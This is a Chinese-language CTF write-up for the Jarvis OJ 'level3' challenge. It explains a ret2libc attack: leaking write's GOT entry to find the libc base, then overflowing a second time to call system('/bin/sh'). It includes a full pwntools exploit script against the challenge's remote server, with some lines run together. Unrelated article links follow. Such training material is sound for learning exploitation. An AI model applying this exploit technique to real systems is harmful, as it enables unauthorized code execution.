题目地址

借鉴

这类的题目类型为ret2libc

32位的程序,用IDA打开,read函数存在溢出

程序中没有找到system函数,也没找到/bin/sh,但是给了一个libc-2.19.so,我们需要读取某一个函数 got 表中的地址来计算 libc 的基址,最终计算system和/bin/sh内存地址

got表和plt表的关系参考

思路:

1、让read函数溢出,然后用write函数泄露write函数本身的地址

2、利用函数在内存中的地址和libc文件中的偏移的差相等,来获取基址,通过基址来获取system和/bin/sh的地址

3、再次返回vulnerable_funcion函数,进行二次溢出获得shell

脚本如下

# -*- coding: UTF-8 -*-
from pwn import *
r=remote("pwn2.jarvisoj.com",9879)
elf=ELF("./level3") writeplt=elf.plt["write"]
writegot=elf.got["write"]
func=elf.symbols["vulnerable_function"] libc=ELF("./libc-2.19.so")
writelibc=libc.symbols["write"]
syslibc=libc.symbols["system"]
binlibc=libc.search("/bin/sh").next() payload1='a'*0x88+'aaaa'+p32(writeplt)+p32(func)+p32(1)+p32(writegot)+p32(4)
#再次返回func函数为了是进行二次溢出,后面三个分别是wirte函数的参数
# 1表示标准输出流stdout,中间是write是要输出的地址,这里要输出writegot,4是输出的长度
r.recvuntil("Input:\n")
r.sendline(payload1) writeaddr=u32(r.recv(4)) sysaddr=writeaddr-writelibc+syslibc
binaddr=writeaddr-writelibc+binlibc payload2='a'*0x88+'bbbb'+p32(sysaddr)+p32(0xaaaa)+p32(binaddr)
r.recvuntil("Input:\n")
r.sendline(payload2)
r.interactive()

执行结果

Pwn-level3的更多相关文章

  1. PWN菜鸡入门之栈溢出 (2)—— ret2libc与动态链接库的关系

    准备知识引用自https://www.freebuf.com/articles/rookie/182894.html 0×01 利用思路 ret2libc 这种攻击方式主要是针对 动态链接(Dynam ...

  2. PLT与GOT

    0x01  什么是PLT和GOT 名称: PLT : 程序链接表(PLT,Procedure Link Table) GOT : 重局偏移表(GOT, Global Offset Table) 缘由: ...

  3. Jarvis OJ - [XMAN]level3 - Writeup——ret2libc尝试

    这次除了elf程序还附带一个动态链接库 先看一下,很一般的保护 思路分析 在ida中查看,可以确定通过read函数输入buf进行溢出,但是并没有看到合适的目标函数 但是用ida打开附带的链接库,可以看 ...

  4. pwn入门之栈溢出练习

    本文原创作者:W1ngs,本文属i春秋原创奖励计划,未经许可禁止转载!前言:最近在入门pwn的栈溢出,做了一下jarvisoj里的一些ctf pwn题,感觉质量都很不错,难度循序渐进,把自己做题的思路 ...

  5. Linux pwn入门教程(10)——针对函数重定位流程的几种攻击

    作者:Tangerine@SAINTSEC 本系列的最后一篇 感谢各位看客的支持 感谢原作者的付出一直以来都有读者向笔者咨询教程系列问题,奈何该系列并非笔者所写[笔者仅为代发]且笔者功底薄弱,故无法解 ...

  6. 攻防世界pwn之新手区

    涉及的工具有 Ubuntu 16.04 pwntools IDA gdb-peda 1.get_shell 连接就给flag,可以直接用nc连接,然后输入ls查看里面的目录,发现有名字叫flag文件, ...

  7. 攻防世界新手区pwn writeup

    CGfsb 题目地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5050 下载文 ...

  8. Jarvis OJ - 栈系列部分pwn - Writeup

    最近做了Jarvis OJ的一部分pwn题,收获颇丰,现在这里简单记录一下exp,分析过程和思路以后再补上 Tell Me Something 此题与level0类似,请参考level0的writeu ...

  9. [BUUCTF]PWN——jarvisoj_level3

    jarvisoj_level3 附件 步骤 例行检查,32位,nx保护 运行一下程序 32位ida载入,shift+f12没有看到程序里有可以直接利用的后面函数,根据运行时的字符串找到了程序的关键函数 ...

  10. 【pwn】攻防世界 pwn新手区wp

    [pwn]攻防世界 pwn新手区wp 前言 这几天恶补pwn的各种知识点,然后看了看攻防世界的pwn新手区没有堆题(堆才刚刚开始看),所以就花了一晚上的时间把新手区的10题给写完了. 1.get_sh ...

随机推荐

  1. Python升级PIP

    用pip list的时候.发现最后有两行黄颜色的.提示你可以用‘python -m pip install --upgrade pip’升级你的pip 当时我直接就复制粘贴上去运行了.但是报了一堆红的 ...

  2. Linux部署NFS服务共享文件

    NFS(网络文件系统)用于linux共享文件 第1步:配置所需要的环境 使用两台Linux主机 主机名称 操作系统 IP地址 NFS Centos7 192.168.218.139 NFSa Cent ...

  3. xampp配置二级域名通过不同端口访问不同网站

    首先需要在xampp\apache\conf\extra\httpd-vhost.conf中写入配置的二级域名 <VirtualHost *:8081> // 该网站通过监测8081端口 ...

  4. LeetCode 1244. 力扣排行榜

    地址 https://www.acwing.com/solution/LeetCode/content/5765/ 题目描述新一轮的「力扣杯」编程大赛即将启动,为了动态显示参赛者的得分数据,需要设计一 ...

  5. 【洛谷5072】[Ynoi2015] 盼君勿忘(莫队)

    点此看题面 大致题意: 一个序列,每次询问一个区间\([l,r]\)并给出一个模数\(p\),求模\(p\)意义下区间\([l,r]\)内所有子序列去重后值的和. 题意转化 原来的题意看起来似乎很棘手 ...

  6. HTML连载43-还原字体和字号、文字界面

    一.还原字体和字号 1.利用fireworks切片以及文本添加的功能可以用来定位我们想要的文字是什么字体,行高又是多少,但其实很low,是我们人工挑选出来的. 2.注意点:在企业开发中,如果一个盒子中 ...

  7. css 如何让大小不同的图片表现一致,同时自适应呢?

     壹 ❀ 引 实习生在做产品分类页时,遇到了一个她不知道如何解决问题,所以来问我应该怎么做:问题其实不难,由于项目使用了bootstrap来实现响应式与自适应,所以除了宽度有明确的百分比值之外(栅格化 ...

  8. 《细说PHP》第四版 样章 第18章 数据库抽象层PDO 12

    18.9  管理表books实例 在Web项目中,几乎所有模块都要和数据表打交道,而对表的管理无非就是增.删.改.查等操作,所以熟练掌握对表进行管理的这些常见操作是十分有必的.本例为了能更好地展示PD ...

  9. IT兄弟连 HTML5教程 HTML5和CSS3的关系

    HTML5是第五版HTML的标准,CSS3则是第三版CSS,新增一些非常实用的选择器和样式属性,并且CSS3语言开发是朝着模块化发展的.以前的规范作为一个模块实在是太庞大而且比较复杂,所以,把它分解为 ...

  10. 10-Django中间件

    中间件 Django中的中间件是一个轻量级.底层的插件系统,可以介入Django的请求和响应处理过程,修改Django的输入和输出. 中间件的设计为开发者提供了一种无侵入式的开发方式,增强了Djang ...